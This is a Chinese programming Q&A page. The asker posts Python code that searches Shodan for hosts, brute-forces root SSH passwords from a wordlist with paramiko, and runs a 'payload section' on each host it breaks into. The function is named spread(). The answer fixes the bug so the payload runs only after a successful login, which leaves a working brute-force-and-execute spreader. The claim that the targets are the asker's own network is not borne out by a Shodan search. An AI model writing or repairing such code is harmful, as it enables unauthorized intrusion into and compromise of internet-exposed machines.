本站消息

站长简介/公众号


站长简介:高级工程师,爱好交友,无偿辅导python和前端,技术交流,面试指导,找工作指导,瞎聊都可加我微信i88811i哈,欢迎欢迎!也欢迎加入程序员交流群,专属程序员的圈子,加我微信拉你进群.欢迎关注我的微信公众号:程序员总部,程序员的家,探索程序员的人生之路!分享IT最新技术,关注行业最新动向,让你永不落伍。了解同行们的工资,生活工作中的酸甜苦辣,谋求程序员的最终出路!

  价值13000svip视频教程,python大神匠心打造,零基础python开发工程师视频教程全套,基础+进阶+项目实战,包含课件和源码

  出租广告位,需要合作请联系站长

+关注
已关注

分类  

暂无分类

标签  

暂无标签

日期归档  

暂无数据

AttributeError:“NoneType”对象没有属性“open_session”

发布于2022-01-18 09:44     阅读(528)     评论(0)     点赞(19)     收藏(1)



当运行包含以下代码的python3文件时,我试图用paramiko在我自己的网络上强制使用一些ssh设备,起初我遇到了一些身份验证错误,但用除了paramiko.ssh_exception.AuthenticationException之外修复了这个问题,现在我似乎在拉我认为使用 pip3 调用和使用 parimiko 安装时出错?我对 python 很陌生,所以任何指导将不胜感激谢谢

def spread(ip, password):   

client = None
try:
    ssh = paramiko.SSHClient()
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username="root", password=password, port=22, banner_timeout=200)
except paramiko.ssh_exception.NoValidConnectionsError as e:
    print("username not exists")
except paramiko.ssh_exception.AuthenticationException as e:
    print("passwd not correct")
except Exception as e:
    print("*** Caught exception: %s: %s" % (e.__class__, e))
    #paramiko.traceback.print_exc()
#return client

#payload section
ssh_stdin, ssh_stdout, ssh_stderr = client.exec_command("some commands here")
ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command("pip3 install paramiko") 

exit_code = ssh_stdout.channel.recv_exit_status() # handles async exit error
#end payload section

def scan():    
api = shodan.Shodan(API_KEY)

# Perform the search for devices on my own authorized network
 
#function to get ips here
for service in result['matches']:
        ip = #ips from list here
        file = open('req.txt', 'r') 
        passwords = file.readlines() 
        for password in passwords:
            print('Attacking (host:pass): ' + ip + ':' + password) 
            spread(ip, password)
scan()

我收到此错误:

Attacking (host:pass): "my ip here":root

passwd not correct
Traceback (most recent call last):
 File "XTERM_proc.py", line 65, in <module>
scan()
 File "XTERM_proc.py", line 64, in scan
spread(ip, password)
 File "XTERM_proc.py", line 42, in spread
ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command("pip3 install paramiko") 
 File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/paramiko/client.py", line 508, in exec_command
chan = self._transport.open_session(timeout=timeout)
 AttributeError: 'NoneType' object has no attribute 'open_session'

解决方案


def spread(ip, password):   

    client = None
    try:
        ssh = paramiko.SSHClient()
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(ip, username="root", password=password, port=22, 
                       banner_timeout=200)

        #payload section
        ssh_stdin, ssh_stdout, ssh_stderr = client.exec_command("some commands here")
        ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command("pip3 install paramiko") 

        exit_code = ssh_stdout.channel.recv_exit_status() # handles async exit error
        #end payload section
    except paramiko.ssh_exception.NoValidConnectionsError as e:
        print("username not exists")
    except paramiko.ssh_exception.AuthenticationException as e:
       print("passwd not correct")
    except Exception as e:
        print("*** Caught exception: %s: %s" % (e.__class__, e))
        #paramiko.traceback.print_exc()

您的错误的原因可能是因为您的代码已经打印passwd not correct,这意味着该try部分内的代码没有正确执行。我已将有效负载部分中的语句移动到try部件内部,以使它们仅在前面的语句成功时才执行。

通过将它们放在外面,无论密码/用户名是否有效,您都可以让它们运行。

站长简介:高级工程师,爱好交友,无偿辅导python和前端,技术交流,面试指导,找工作指导,瞎聊都可加我微信i88811i哈,欢迎欢迎!也欢迎加入程序员交流群,专属程序员的圈子,加我微信拉你进群
欢迎关注我的公众号:程序员总部,关注公众号回复python,免费领取 全套python视频教程,关注公众号回复充值+你的账号,免费为您充值1000积分







所属网站分类: 技术文章 > 问答

作者:黑洞官方问答小能手

链接:https://www.pythonheidong.com/blog/article/1256403/40d38d585e2ecbdf3a8a/

来源:python黑洞网

任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任

19 0
收藏该文
已收藏

评论内容:(最多支持255个字符)